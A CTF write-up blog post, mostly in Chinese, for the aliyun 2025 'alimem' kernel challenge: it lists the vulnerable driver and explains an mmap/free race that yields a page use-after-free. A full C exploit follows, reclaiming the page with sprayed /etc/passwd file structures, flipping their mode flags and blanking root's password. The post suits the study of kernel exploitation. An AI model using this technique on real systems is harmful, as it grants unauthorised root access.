[ayoung@blog posts]$ cat ./aliyun 2025 alimem.md

aliyun 2025 alimem

[Last modified: 2025-03-14]

题目

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/miscdevice.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/mm.h>
#include <linux/rcupdate.h>
#include <linux/rwsem.h>
#include <linux/io.h>
#include <linux/delay.h>

#define MAX_PAGES 64
#define PAGE_ORDER 0
#define DEVICE_NAME "alimem"
#define ALIMEM_ALLOC 0x1337
#define ALIMEM_FREE 0x1338
#define ALIMEM_WRITE 0x1339
#define ALIMEM_READ 0x133a

int already_open = 0;

struct alimem_page {
    void *virt;
    phys_addr_t phys;
    atomic_t refcount;
    struct rcu_head rcu;
};

struct alimem_write {
    int idx;
    unsigned int offset;
    const char __user *data;
    size_t size;
};

struct alimem_read {
    int idx;
    unsigned int offset;
    char __user *data;
    size_t size;
};

static struct alimem_page *pages[MAX_PAGES];
static DECLARE_RWSEM(pages_lock);


static void free_page_rcu(struct rcu_head *rcu)
{
    struct alimem_page *page = container_of(rcu, struct alimem_page, rcu);
    free_pages((unsigned long)page->virt, PAGE_ORDER);
    kfree(page);
}

static void alimem_vma_close(struct vm_area_struct *vma)
{
    struct alimem_page *page = vma->vm_private_data;
    if (atomic_dec_and_test(&page->refcount)) {
        memset(page->virt, 0, PAGE_SIZE);
        call_rcu(&page->rcu, free_page_rcu);
    }
}

static void alimem_vma_open(struct vm_area_struct *vma)
{
    struct alimem_page *page = vma->vm_private_data;
    atomic_inc(&page->refcount);
}

static const struct vm_operations_struct alimem_vm_ops = {
    .open = alimem_vma_open,
    .close = alimem_vma_close,
};


static int alimem_mmap(struct file *filp, struct vm_area_struct *vma)
{
    int idx = vma->vm_pgoff;
    struct alimem_page *page;
    int ret = -EINVAL;

    if (idx < 0 || idx >= MAX_PAGES) return -EINVAL;

    if (vma->vm_end - vma->vm_start != PAGE_SIZE) {
        return -EINVAL;
    }

    rcu_read_lock();
    if(!pages[idx]) {
        rcu_read_unlock();
        return -EINVAL;
    }
    page = rcu_dereference(pages[idx]);
    if (page) {
        phys_addr_t phys = page->phys;
        vma->vm_ops = &alimem_vm_ops;
        vma->vm_private_data = page;
        vm_flags_set(vma, vma->vm_flags | VM_DONTEXPAND | VM_DONTDUMP);
        rcu_read_unlock();
        if (remap_pfn_range(vma, vma->vm_start, 
                          phys >> PAGE_SHIFT,
                          vma->vm_end - vma->vm_start,
                          vma->vm_page_prot)) {
            return -EAGAIN;
        }
        
        atomic_inc(&page->refcount);
        return 0;
    }
    rcu_read_unlock();
    return ret;
}


static long alimem_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
    int idx, ret = 0;
    struct alimem_page *new_page;

    switch (cmd) {
    case ALIMEM_ALLOC: {
        new_page = kzalloc(sizeof(*new_page), GFP_KERNEL);
        if (!new_page) return -ENOMEM;

        new_page->virt = (void *)__get_free_pages(GFP_KERNEL, PAGE_ORDER);
        if (!new_page->virt) {
            kfree(new_page);
            return -ENOMEM;
        }

        new_page->phys = virt_to_phys(new_page->virt);
        atomic_set(&new_page->refcount, 1);

        down_write(&pages_lock);
        for (idx = 0; idx < MAX_PAGES; idx++) {
            if (!pages[idx]) {
                rcu_assign_pointer(pages[idx], new_page);
                up_write(&pages_lock);
                return idx;
            }
        }
        up_write(&pages_lock);
        free_pages((unsigned long)new_page->virt, PAGE_ORDER);
        kfree(new_page);
        return -ENOSPC;
    }

    case ALIMEM_FREE: {
        struct alimem_page *old;

        if (get_user(idx, (int __user *)arg)) return -EFAULT;
        if (idx < 0 || idx >= MAX_PAGES) return -EINVAL;

        down_write(&pages_lock);
        old = pages[idx];
        if (old) {
            rcu_assign_pointer(pages[idx], NULL);
            if (atomic_dec_and_test(&old->refcount)) {
                memset(old->virt, 0, PAGE_SIZE);
                call_rcu(&old->rcu, free_page_rcu);
            }
        }
        up_write(&pages_lock);
        return 0;
    }

    case ALIMEM_WRITE: {
        struct alimem_write wr;
        struct alimem_page *page;

        if (copy_from_user(&wr, (void __user *)arg, sizeof(wr)))
            return -EFAULT;

        if (wr.idx < 0 || wr.idx >= MAX_PAGES || 
            wr.offset + wr.size > PAGE_SIZE)
            return -EINVAL;

        rcu_read_lock();
        page = rcu_dereference(pages[wr.idx]);
        if (!page) {
            rcu_read_unlock();
            return -EFAULT;
        }

        if (copy_from_user(page->virt + wr.offset, wr.data, wr.size)) {
            rcu_read_unlock();
            return -EFAULT;
        }
        rcu_read_unlock();
        return 0;
    }

    case ALIMEM_READ: {
        struct alimem_read rd;
        struct alimem_page *page;

        if (copy_from_user(&rd, (void __user *)arg, sizeof(rd)))
            return -EFAULT;

        if (rd.idx < 0 || rd.idx >= MAX_PAGES || 
            rd.offset + rd.size > PAGE_SIZE)
            return -EINVAL;

        rcu_read_lock();
        page = rcu_dereference(pages[rd.idx]);
        if (!page) {
            rcu_read_unlock();
            return -EFAULT;
        }

        if (copy_to_user(rd.data, page->virt + rd.offset, rd.size)) {
            rcu_read_unlock();
            return -EFAULT;
        }
        rcu_read_unlock();
        return 0;
    }

    default:
        return -ENOTTY;
    }
}

static int alimem_open(struct inode *inode, struct file *file)
{
    if (already_open)
    {
        return -EBUSY;
    }
    already_open++;
    pr_info("alimem: device open\n");
    return 0;
}

static int alimem_close(struct inode *inodep, struct file *filp)
{
    already_open--;
    pr_info("alimem: device close\n");
    return 0;
}

static ssize_t alimem_write(struct file *file, const char __user *buf,
                          size_t len, loff_t *ppos)
{
    return -EINVAL;
}

static ssize_t alimem_read(struct file *filp, char __user *buf,
                         size_t count, loff_t *f_pos)
{
    return -EINVAL;
}

static struct file_operations alimem_fops = {
    .owner = THIS_MODULE,
    .mmap = alimem_mmap,
    .write = alimem_write,   
    .read = alimem_read,
    .open = alimem_open,
    .release = alimem_close,
    .unlocked_ioctl = alimem_ioctl,
};

static struct miscdevice alimem_dev = {
    .minor = MISC_DYNAMIC_MINOR,
    .name = DEVICE_NAME,
    .fops = &alimem_fops,
};

static int __init alimem_init(void) { return misc_register(&alimem_dev); }

static void __exit alimem_exit(void) {
    int idx;
    struct alimem_page *page;
    down_write(&pages_lock);
    for (idx = 0; idx < MAX_PAGES; idx++) {
        page = pages[idx];
        if (page) {
            free_pages((unsigned long)page->virt, PAGE_ORDER);
            kfree(page);
            pages[idx] = NULL;
        }
    }
    up_write(&pages_lock);
    misc_deregister(&alimem_dev);
}

module_init(alimem_init);
module_exit(alimem_exit);
MODULE_LICENSE("GPL");

down_write()/up_write() 读写信号量 down获取写锁,up释放写锁 用于修改共享数据结构时,通过写锁保证原子性

RCU 无锁读机制 rcu_read_lock()/rcu_read_unlock()标记读者进入/退出临界区

atomic_dec_and_test()/atomic_inc()原子操作 原子地增加计数器(无锁);原子地减少计数器 并检测是否到0(若0返回true) 用于管理共享资源引用计数

这里关于alimem_mmap()中idx的获取 假设用户空间调用 mmap 时指定了 offset 参数:

void *addr = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 10 * PAGE_SIZE);

解题思路

先获取指针映射,再增加引用 竞争时机:映射完成后,增加引用前,free执行发现引用归0,执行free_page_rcu()

exp

第一个线程写入A并标志第一次写入完成,此时第二个线程进行mmap操作同时紧接着第一个线程进行free操作

判断target_addr即mmap返回地址非零,则第一个线程进行第二次申请内存和写操作,判断刚才映射的地址内容是否更改。如果更改了 说明uaf成功(之前映射的内存被释放后又被申请 所以内容变更)

后续因为内存是用__get_free_pages()释放的 进入伙伴系统,所以直接喷file结构体,修改权限将/etc/passwd中root密码置空

#define _GNU_SOURCE
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <pthread.h>
#include <signal.h>


#define CHECK(x) ({ errno = 0; typeof(x) __x = (x); if(errno) { perror(#x); exit(1); } __x; })

#define DEVICE_NAME "alimem"
#define PAGE_SIZE 0x1000
#define ALIMEM_ALLOC 0x1337
#define ALIMEM_FREE 0x1338
#define ALIMEM_WRITE 0x1339
#define ALIMEM_READ 0x133a

struct alimem_write {
    int idx;
    unsigned int offset;
    char *data;
    size_t size;
};

struct alimem_read {
    int idx;
    unsigned int offset;
    char *data;
    size_t size;
};

void alimem_alloc(int fd){
    ioctl(fd, ALIMEM_ALLOC, 0);
}
void alimem_free(int fd, int idx){
    ioctl(fd, ALIMEM_FREE, &idx);
}
void alimem_write(int fd, int idx, unsigned int off, char *buf, size_t size){
    struct alimem_write wr = {
        .idx = idx,
        .offset = off,
        .data = buf,
        .size = size
    };
    ioctl(fd, ALIMEM_WRITE, &wr);
}
void alimem_read(int fd, int idx, unsigned int off, char *buf, size_t size){
    struct alimem_read rd = {
        .idx = idx,
        .offset = off,
        .data = buf,
        .size = size
    };
    ioctl(fd, ALIMEM_READ, &rd);
}

int stop=0, written=0, sec_written=0;
char *target_addr = NULL;
int fds[0x200];

void *func1(void *arg){
    int fd = *(int*)arg;
    CHECK( fd > 0 );
    char in_buf[0x200];

    while (1){
        written = sec_written = 0;
        alimem_alloc(fd);
        in_buf[0] = 'A';
        alimem_write(fd, 0, 0, in_buf, 0x100);
        written = 1;
        usleep(10);
        alimem_free(fd, 0);

        if (target_addr <= 0) continue;
        in_buf[0] = 'B';
        alimem_alloc(fd);
        alimem_write(fd, 0, 0, in_buf, 0x100);
        if (target_addr[0] == 'B'){
            stop = 1;
            sec_written = 1;
            break;
        }
        alimem_free(fd, 0);
        sec_written = 1;
    }
    
}

void *func2(void *arg){
    int fd = *(int*)arg;
    while (1){
        while (!written) {};
        target_addr = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);

        if (target_addr <= 0)
            continue;

        while(!sec_written) {};
        if (stop)
            break;

        target_addr = NULL;
    }
}

void handle_segv(int sig) {
    fprintf(stderr, "Thread crashed with SIGSEGV\n");
    exit(1);
}

int main() {
    signal(SIGSEGV, handle_segv);
    int fd = open("/dev/alimem", O_RDWR);

    pthread_t p1, p2;
    CHECK(pthread_create(&p1, NULL, func1, (void*)&fd) != 0);
    CHECK(pthread_create(&p2, NULL, func2, (void*)&fd) != 0);

    pthread_join(p1, NULL);
    pthread_join(p2, NULL);

    printf("uaf addr: 0x%llx\n", (long long)target_addr);

    char buf[0x100];
    memset(buf, 'C', 0x100);
    alimem_write(fd, 0, 0, buf, 0x100);

    if (target_addr[0] == 'C'){
        alimem_free(fd, 0);
        if (target_addr[0] != 'C')
            printf("[+] uaf success\n");
        else{
            printf("[+] uaf failed\n");
            exit(-1);
        }
    }
    else{
        printf("[+] uaf failed\n");
        exit(-1); 
    }

    for(int i = 0; i < 0x200; i++)
        fds[i] = open("/etc/passwd", O_RDONLY);

    if (target_addr[0] == 'C'){
        printf("[-] fail");
        exit(-1);
    }

    *(target_addr+0x14) = 0x1d|0x3; // f_mode FMODE_WRITE 0x3
    *(target_addr+0x16) = 0x4a|0x4; // f_mode FMODE_CAN_WRITE 0x40000
    *(target_addr+0x48) = 0x2; // f_flags O_RDWR	0x0002

    for (int i = 0; i < 0x200; i++){
        int tmpfd = fds[i];
        char content[] = "root::0:0:root:/root:/bin/sh";
        ssize_t bytes = write(tmpfd, content, sizeof(content));
        close(tmpfd);
        if (bytes > 0)
            break;
    }
    printf("[+] Done\n");
}